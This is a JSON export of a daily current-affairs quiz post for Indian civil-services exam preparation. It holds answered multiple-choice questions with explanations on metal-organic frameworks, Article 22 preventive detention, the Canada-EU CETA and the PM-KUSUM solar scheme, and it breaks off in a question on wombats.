{"id":2547,"date":"2025-10-09T10:36:10","date_gmt":"2025-10-09T10:36:10","guid":{"rendered":"https:\/\/iasquest.com\/?p=2547"},"modified":"2026-02-11T18:50:52","modified_gmt":"2026-02-11T18:50:52","slug":"daily-current-affairs-09-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-09-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 09-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to the applications of Metal &#8211; Organic Frameworks (MOFs), consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Carbon dioxide capture and storage<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Water harvesting from air<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Removal of chemical pollutants from water<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. Conversion of nitrogen to ammonia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>How many of the above are potential uses of MOFs?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (c) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> Trio wins Chemistry Nobel for bridging metals and organics<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>The Nobel Award:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">The 2025 Nobel Prize in Chemistry was awarded \u201cfor the development of a new type of molecular architecture,\u201d specifically MOFs. The laureates are:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Researcher<\/strong><\/td><td><strong>Contribution \/ Role<\/strong><\/td><\/tr><tr><td><strong>Richard Robson<\/strong><\/td><td>Early structural insights: linking metal ions with organic linkers to build open frameworks; conceptualizing the architectural possibilities of coordination networks.<a href=\"https:\/\/www.nobelprize.org\/prizes\/chemistry\/2025\/popular-information\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/td><\/tr><tr><td><strong>Susumu Kitagawa<\/strong><\/td><td>Demonstrated stability, gas mobility, and \u201cflexible\u201d frameworks: showed that MOFs can absorb and release gases without collapsing, and even respond (change shape) upon guest inclusion.<\/td><\/tr><tr><td><strong>Omar Yaghi<\/strong><\/td><td>Advanced rational design and scalability: coined the term \u201cMOF,\u201d developed highly porous and stable frameworks (such as MOF-5), diversified the library of MOFs, and established robust modular building principles (reticular chemistry).<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">Because of their work, chemists have now created <strong>tens of thousands of different MOFs<\/strong>, each tailored for specific purposes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Metal &#8211; Organic Frameworks (MOFs):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li><strong>Metal-organic frameworks (MOFs)<\/strong> are hybrid crystalline materials composed of metal ions or clusters (the \u201cnodes\u201d) connected by organic molecules (the \u201clinkers\u201d).<\/li>\n\n\n\n<li>They form <strong>porous, three-dimensional networks<\/strong> with internal cavities or channels in which other molecules (gases, solvents, reagents) can enter, move, or be stored.<a href=\"https:\/\/www.nobelprize.org\/prizes\/chemistry\/2025\/popular-information\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/li>\n\n\n\n<li>A key advantage is that many MOFs maintain their pore structure even after evacuation of guest molecules, and can then be re-filled.<a href=\"https:\/\/en.wikipedia.org\/wiki\/Metal%E2%80%93organic_framework?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Applications and significance:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">The work was honored because MOFs open up <strong>\u201centirely new rooms for chemistry\u201d<\/strong> \u2014 new possibilities for designing materials with functionalities previously out of reach.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>1. Extremely large internal surface areas<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">A small amount of a MOF can have a huge internal surface area (comparable to a football field), because of the many pores and channels.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>2. Selective adsorption, separation, and storage<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">MOFs can be tailored to capture or separate specific gases (e.g. CO\u2082, H\u2082) or molecules. This makes them promising for gas capture, storage, purification, and separation technologies.<a href=\"https:\/\/www.nobelprize.org\/prizes\/chemistry\/2025\/popular-information\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>3. Environmental &amp; sustainability uses<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li><strong>Carbon capture<\/strong>: MOFs can help remove CO\u2082 from industrial emissions or even from ambient air.<ul><li><strong>Water harvesting<\/strong>: Some MOFs can trap water vapor from arid air at night and release it during the day, enabling water production in deserts.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Pollutant removal \/ remediation<\/strong>: They have been proposed or tested to remove \u201cforever chemicals\u201d (PFAS), residual pharmaceuticals, or other contaminants from water.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>NOTE<\/strong>: Nitrogen fixation is not yet a primary application. <strong>Hence 1, 2, and 3 are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>1. Functional customization<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">Because MOFs are modular (you can choose different metal nodes and organic linkers), you can <strong>design<\/strong> their structure and properties for desired behaviors (flexibility, pore size, chemical reactivity, stability).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>2. Bridging fundamental chemistry &amp; real-world impact<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">MOFs have gone beyond academic curiosity and have begun to see early-stage commercialization, e.g. for gas separation.<\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/why-did-metal-organic-frameworks-win-the-2025-chemistry-nobel\/article70139560.ece#:~:text=Susumu%20Kitagawa%2C%20Richard%20Robson%20and,can%20move%2C%20react%20or%20stay\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/why-did-metal-organic-frameworks-win-the-2025-chemistry-nobel\/article70139560.ece#:~:text=Susumu%20Kitagawa%2C%20Richard%20Robson%20and,can%20move%2C%20react%20or%20stay<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>2. Which among the following is\/are the constitutional mandate under Article 22 of the Indian constitution?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">1. Grounds of detention must be communicated, though some facts may be withheld if disclosure is against public interest.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">2. There must be an Advisory Board review if detention exceeds 3 months.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">3. The detainee has a right to make a representation against the detention.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>In NEWS: <\/strong>The preventive detention regime needs reform; it should not be used as a routine administrative tool<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Preventive Detention<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li><strong>Preventive detention<\/strong> = detaining a person <em>without trial or conviction<\/em>, based on suspicion that they <em>may<\/em> commit a future offence or disturb public order.<\/li>\n\n\n\n<li>It is <strong>preventive<\/strong>, not punitive: the intent is to stop harm before it happens, not punish an action already done.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Constitutional &amp; Legal Basis in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>Article <strong>22(3)\u2013(7)<\/strong> of the Indian Constitution allows laws authorizing preventive detention.<\/li>\n\n\n\n<li>Under Article 22, <strong>ordinary safeguards<\/strong> (like being informed of grounds of arrest, consulting a lawyer, being produced before a magistrate in 24 hours) <strong>do not fully apply<\/strong> to preventive detention.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>But the Constitution mandates that:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">1. Grounds of detention <strong>must be communicated<\/strong>, though some facts may be withheld if disclosure is against public interest.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">2. There must be an <strong>Advisory Board<\/strong> review if detention exceeds 3 months.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">3. The detainee has a <strong>right to make a representation<\/strong> against the detention.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Historical &amp; Judicial Evolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-55\">\n<li>In <strong>A. K. Gopalan v. State of Madras (1950)<\/strong>, preventive detention was upheld; limitation was considered only procedural (not substantive).<\/li>\n\n\n\n<li>Over time, the Supreme Court has placed <strong>restrictions and safeguards<\/strong> to prevent arbitrary use.<\/li>\n\n\n\n<li>Recent judgments emphasize that <strong>preventive detention must not bypass normal criminal justice<\/strong>, must satisfy due process, and cannot be used as a substitute to cancel bail.<\/li>\n\n\n\n<li>The Court has also stressed that <strong>the detaining authority must provide all materials relied upon<\/strong> so that the detainee can make an effective representation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Issues &amp; Risks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li><strong>Violation of liberty:<\/strong> It allows deprivation of liberty without conviction.<\/li>\n\n\n\n<li><strong>Presumption inverted:<\/strong> The detainee may be treated as guilty in effect.<\/li>\n\n\n\n<li><strong>Misuse &amp; abuse:<\/strong> Broad, vague laws can lead to political or arbitrary detention.<\/li>\n\n\n\n<li><strong>Lack of full judicial oversight:<\/strong> Courts usually review only procedural compliance, not the <em>necessity<\/em> of detention.<\/li>\n\n\n\n<li><strong>Colonial legacy:<\/strong> Many preventive detention laws date from colonial times and may not suit a rights-sensitive democracy.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. According to the Constitution of India, the Central Government has a duty to protect States from internal disturbances. <br>2. The Constitution of India exempts the States from providing legal counsel to a person being held for preventive detention. <br>3. According to the Prevention of Terrorism Act, 2002, confession of the accused before the police cannot be used as evidence.<br><br><strong>How many of the above statements are correct?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) All three <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/the-danger-of-an-unchecked-pre-crime-framework\/article70140459.ece#:~:text=Dilemma%20of%20the%20pre%2Dcrime&amp;text=He%20is%20presumed%20guilty%2C%20denied,of%20innocence%20and%20judicial%20scrutiny\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/the-danger-of-an-unchecked-pre-crime-framework\/article70140459.ece#:~:text=Dilemma%20of%20the%20pre%2Dcrime&amp;text=He%20is%20presumed%20guilty%2C%20denied,of%20innocence%20and%20judicial%20scrutiny<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>3. The Comprehensive Economic and Trade Agreement (CETA) is a free trade agreement between:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(a) India and Canada<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(b) Canada and the European Union<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(c) India and the European Union<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(d) India and ASEAN<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Answer: (b) Canada and the European Union<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>In NEWS:<\/strong> Relations between India and the <strong>United Kingdom<\/strong> witnessed a major step-up with the signing of the Comprehensive Economic and Trade Agreement (CETA) in July 2025.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Comprehensive Economic and Trade Agreement (CETA)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li><strong>CETA<\/strong> is a <strong>free trade agreement (FTA)<\/strong> between <strong>Canada<\/strong> and the <strong>European Union (EU). Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It aims to <strong>remove tariffs<\/strong>, reduce trade barriers, and promote investment and economic cooperation.<\/li>\n\n\n\n<li>Signed in <strong>2016<\/strong> and <strong>provisionally applied from September 2017<\/strong>.<\/li>\n\n\n\n<li>It covers <strong>goods, services, investments, intellectual property, government procurement, and sustainable development<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Key Features<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>1. Tariff Elimination:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Almost <strong>98% of tariffs<\/strong> on goods traded between Canada and the EU were removed upon provisional application.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>2. Market Access:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>Provides <strong>Canadian exporters access to the EU market<\/strong> (500+ million consumers).<\/li>\n\n\n\n<li><strong>EU firms<\/strong> gain access to <strong>Canadian public procurement<\/strong>, a first for Canada in an FTA.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>3. Investment Protection:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>Establishes a new <strong>Investment Court System (ICS)<\/strong> to resolve disputes between investors and states, replacing the older ISDS (Investor\u2013State Dispute Settlement) model.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>4. Sustainability Provisions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>Includes commitments to <strong>labor rights<\/strong>, <strong>environmental protection<\/strong>, and <strong>sustainable development<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>5. Services Liberalization:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>Covers financial services, maritime transport, telecom, and professional services.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>6. Geographical Indications (GIs):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>Protects certain EU food and drink names (like Parma ham, Roquefort cheese) in the Canadian market.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Note:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>The <strong>Comprehensive Economic and Trade Agreement (CETA)<\/strong> is <strong>only<\/strong> between <strong>Canada and the European Union (EU)<\/strong>.<\/li>\n\n\n\n<li><strong>India is <em>not<\/em> a party<\/strong> to that agreement.<\/li>\n\n\n\n<li>India has signed or is negotiating <strong>similar comprehensive trade agreements<\/strong>, but under <strong>different names<\/strong>, such as:<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Type of Agreement<\/strong><\/td><td><strong>Partner Country\/Region<\/strong><\/td><td><strong>Name \/ Status<\/strong><\/td><\/tr><tr><td><strong>Comprehensive Economic Cooperation Agreement (CECA)<\/strong><\/td><td>Singapore, Malaysia<\/td><td><strong>Signed and in force<\/strong><\/td><\/tr><tr><td><strong>Comprehensive Economic Partnership Agreement (CEPA)<\/strong><\/td><td>Japan, South Korea, UAE<\/td><td><strong>Signed and in force<\/strong><\/td><\/tr><tr><td><strong>Early Progress Trade Agreement (EPTA)<\/strong> \u2192 precursor to <strong>CEPA<\/strong><\/td><td>Canada<\/td><td><strong>Under negotiation<\/strong><\/td><\/tr><tr><td><strong>India\u2013EU Free Trade Agreement (FTA)<\/strong><\/td><td>European Union<\/td><td><strong>Under negotiation (resumed in 2022)<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. With reference to the international trade of India at present, which of the following statements is\/are correct?<\/strong> <br><br>1. India&#8217;s merchandise exports are less than its merchandise imports. <br>2. India&#8217;s imports of iron and steel, chemicals, fertilisers and machinery have decreased in recent years. <br>3. India&#8217;s exports of services are more than its imports of services. <br>4. India suffers from an overall trade\/current account deficit. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 4 only <br>(c) 3 only <br><strong>(d) 1, 3 and 4 only<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/an-anchor-for-india-uk-ties-their-economic-partnership\/article70140514.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/an-anchor-for-india-uk-ties-their-economic-partnership\/article70140514.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>4. With reference to the Pradhan Mantri Kisan Urja Suraksha evam Utthaan Mahabhiyan (PM-KUSUM), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">1. It aims to provide energy security to farmers, increase income, and promote solar energy in the agriculture sector.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">2. The scheme is implemented by the Ministry of Power.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>In NEWS:<\/strong> ISA plans to replicate India\u2019s PM-KUSUM to power farms and rural homes in members countries<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Pradhan Mantri Kisan Urja Suraksha evam Utthaan Mahabhiyan (PM-KUSUM)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li><strong>Launched in 2019<\/strong> by the <strong>Ministry of New and Renewable Energy (MNRE)<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>Objective: To <strong>provide energy security to farmers<\/strong>, <strong>increase income<\/strong>, and <strong>promote solar energy<\/strong> in the agriculture sector. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">1. To <strong>install solar power plants<\/strong> in rural areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">2. To <strong>solarize agricultural pumps<\/strong> to reduce dependence on diesel and grid electricity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">3. To enable <strong>farmers to sell surplus power<\/strong> to the grid and earn additional income.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">4. To <strong>de-dieselize agriculture<\/strong> and reduce carbon emissions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Components of PM-KUSUM<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Component<\/strong><\/td><td><strong>Description<\/strong><\/td><td><strong>Target<\/strong><\/td><\/tr><tr><td><strong>Component-A<\/strong><\/td><td>Installation of <strong>decentralized grid-connected renewable power plants<\/strong> (up to 2 MW each) on barren\/fallow land.<\/td><td>10,000 MW<\/td><\/tr><tr><td><strong>Component-B<\/strong><\/td><td>Installation of <strong>standalone solar pumps<\/strong> for irrigation.<\/td><td>20 lakh pumps<\/td><\/tr><tr><td><strong>Component-C<\/strong><\/td><td><strong>Solarization of existing grid-connected pumps<\/strong>, allowing farmers to feed surplus power to the grid.<\/td><td>15 lakh pumps<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Financial Pattern<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Subsidy structure:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li><strong>60%<\/strong> of the cost: Central and State Government (shared 30:30).<\/li>\n\n\n\n<li><strong>30%<\/strong>: Bank loan.<\/li>\n\n\n\n<li><strong>10%<\/strong>: Farmer\u2019s contribution.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Benefits<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>1. Reduces electricity subsidy burden<\/strong> on states.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>2. Cuts diesel consumption<\/strong> in irrigation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>3. Generates extra income<\/strong> for farmers by selling surplus power.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>4. Encourages use of barren land<\/strong> for solar generation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">5. Contributes to <strong>India\u2019s renewable energy target<\/strong> (500 GW non-fossil capacity by 2030).<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. With reference to solar water pumps, consider the following statements:<\/strong> <br><br>1. Solar power can be used for running surface pumps and not for submersible pumps. <br>2. Solar power can be used for running centrifugal pumps and not the ones with piston. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both 1 and 2 <br><strong>(d) Neither 1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/energy\/isa-plans-to-replicate-indias-pm-kusum-to-power-farms-and-rural-homes-in-members-countries\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/energy\/isa-plans-to-replicate-indias-pm-kusum-to-power-farms-and-rural-homes-in-members-countries<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>5. Consider the following statements regarding Wombats:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">1. They are burrowing marsupials native to South America.<\/p>\n\n\n\n<p class=\"has-black-color 